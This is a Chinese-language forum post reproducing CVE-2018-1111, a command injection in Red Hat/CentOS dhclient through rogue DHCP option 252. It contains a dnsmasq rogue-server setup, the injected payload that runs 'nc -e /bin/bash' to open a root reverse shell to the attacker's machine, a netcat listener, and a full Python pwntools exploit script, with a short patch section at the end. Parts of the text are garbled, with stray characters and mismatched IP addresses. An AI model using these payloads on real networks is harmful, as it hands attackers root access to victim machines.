標題:CVE-2018-1111劫持dhcp造成centos代碼執行漏洞

taibeihacker

Moderator

0x01 漏洞概述​

近日,紅帽官方發布了安全更新,修復了編號為CVE-2018-1111的遠程代碼執行漏洞,攻擊者可以通過偽造DHCP服務器發送響應包,攻擊紅帽系統,獲取root權限並執行任意命令。

0x02 影响版本​

Red Hat Enterprise Linux Server 6
Red Hat Enterprise Linux Server 7
CentOS 6
CentOS 7

0x03 漏洞详情​

DHCP是一個局域網的網絡協議,主要用於內部網絡動態IP地址分配。 Red Hat提供的DHCP客戶端軟件包dhclient的腳本為/etc/NetworkManager/dispatcher.d/11-dhclient(Red Hat Enterprise Linux 7)和/etc/NetworkManager/dispatcher.d/10-dhclient(Red Hat Enterprise Linux 6);當NetworkManager組件從DHCP服務器收到DHCP響應時執行該腳本。
alt

使用單引號使參數值逃逸成功,導致了命令執行
--dhcp-option='252,x'nc -e /bin/bash 10.1.1.1 1337 #'

0x04 漏洞复现​

復現時需要注意的點:
1.兩台虛擬機的網絡適配器都需要設置為僅主機模式
2.停用主機模式的DHCP服務LS8 z( D/M0 ~ J2 f9 l

环境​

攻擊機:kali 2018.2
受害機:centos7
去下載了清華鏡像站裡的centos 7
vmware12.0

设置网络​

這裡我用vmware 虛擬機來實現,兩個系統都是連接到VMnet1 網卡上(僅主機模式),並且關閉網卡上的
DHCP 服務。
ay2gjcnhjng23799.jpg

接著我們開始配置kali 上的dhcp 服務器,dnsmasq
是一個小巧且方便地用於配置DNS 和DHCP 的工具,適用於小型網絡,它提供了DNS 功能和可選擇的DHCP 功能,可以快速搭建一個DNS 服務或者DHCP 服務。

对kali做配置​

先對kali下的ip進行靜態配置並添加路由,命令如下:
ifconfig eth0 192.168.71.5netmask
255.255.255.0
route adddefaultgw192.168.71.5
首先我們創建一個dnsmasq需要使用到的配置文件/etc/dnsmasq.conf,內容如下:
Vim /etc/dnsmassq.conf
bind-interfaces
interface=eth0
except-interface=lo
dhcp-range=192.168.71.10,192.168.71.30,22h
dhcp-option=3,192.168.131.5
dhcp-option=6,192.168.131.5
log-queries
log-facility=/var/log/dnsmasq.log
參數解釋:
dhcp-range: 表示要分配給客戶機的ip 地址範圍和租約時間
dhcp-option: 表示指定給DHCP 客戶端的選項信息
log-facility: 表示日誌記錄器
其中配置文件中包括的option 取值及含義如下:
3: 設置網關地址選項
6: 設置DNS 服務器地址選項
252: 為DHCP 客戶端提供了一個用於配置其代理設置的URL,wpad-proxy-url
payload中涉及到的option 252是私人使用保留部分的一部分, 為dhcp 服務器使用252,然後在他們的瀏覽器中寫入與dhcp 服務器交談的能力,並要求代碼252 從該選項列出的URL 中獲取關於網絡上代理設置的信息。
這裡dnsmasq.conf 中的dhcp-range我設置
為192.168.71.10-192.168.71.30/24這個ip 地址範圍,租約時間為12h。
dhcp-option 3網關地址和dhcp-option6
DNS服務器均設置為kali 本地網卡的ip 地址,kali 的ip 地址為靜態ip。修改好/etc/dnsmasq.conf配置文件之後,還不能直接啟動dnsmasq服務。
利用dnsmasq偽造dns服務器,命令執行payload 如下:
dnsmasq -dC dnsmasq.conf
--dhcp-option='252,malayke'nc -e /bin/bash 192.168.71.5 6666 #'
gv2s2mmlj5223800.jpg

這裡的-d 表示調試模式,-C 表示指定配置文件運行dnsmasq 服務,更多有關dnsmasq 的命令詳解可以用man dnsmasq查看。
命令執行的效果是通過nc 反彈shell 到192.168.71.5 的6666 端口,所以需要在kali 開啟nc 端口監聽,命令如下:
nc-l-p6666-v
pqws2xlt0zz23801.jpg

攻击​

現在centos設置成dhcp獲取ip地址,重啟一下網卡!此時Centos 需要重啟網絡服務,獲取DHCP 服務器下發的ip 地址,這裡可以看到獲取到了ip 地址192.168.71.18
命令如下:
/etc/init.d/network restart
1asyruice4423802.jpg

已經顯示獲取到了IP 了,看看kali 這邊的情況吧
5jqpajsptbu23803.jpg

此時在kali的nc可以拿到centos的shell,且為root權限

0x05 漏洞原理​

單引號在腳本逃逸了,直接以root權限執行了腳本。
dhcp-option=”252,x’nc-e/bin/bash10.1.1.11337#”

0x06 修复方法​

#yum update dhclient
#rpm -qa --changelog dhclient | grep
CVE-2018- Resolves:#1570898 - Fix CVE-2018-1111: Do not parse
backslash as escape character

Ox7 利用exp​

#/usr/bin/python
#encoding=utf-8
from pwn import *
import os
import sys
import time
# author : [email protected]
# time : 20180520
ip='192.168.131.52'
port=1314
# context.log_level='debug'
def pwn(ip,port):
f=open('dnsmasq.conf','w')
start=ip[:ip.rfind('.')]+'.10'
end=ip[:ip.rfind('.')]+'.30'
dnsmasq='''
bind-interfaces
interface=eth0
except-interface=lo
dhcp-range={start},{end},22h
dhcp-option=3,{ip}
dhcp-option=6,{ip}
log-queries
log-facility=/var/log/dnsmasq.log
'''.format(ip=ip,start=start,end=end)
f.write(dnsmasq)
f.close()
cm=[]
cm.append('ifconfig eth0 {ip} netmask 255.255.255.0 '.format(ip=ip))
cm.append('route add default gw {ip}'.format(ip=ip))
cm.append('''dnsmasq -dC dnsmasq.conf
--dhcp-option='252,'nc -e /bin/bash {ip} {port}
#''''.format(ip=ip,port=port))
q=process('bash')
for i in range(len(cm)-1):
q.sendline(cm)
time.sleep(1)
# time.sleep(100)
p=process('bash')
p.sendline('nc -l -p {port} -v'.format(port=port))
q.sendline(cm[-1])
time.sleep(3)
p.interactive()
# q.interactive()
if __name__=='__main__':
pwn(ip,port)
go4ko0lgt4r23804.jpg

b3wkzjimac523805.jpg
 
返回
上方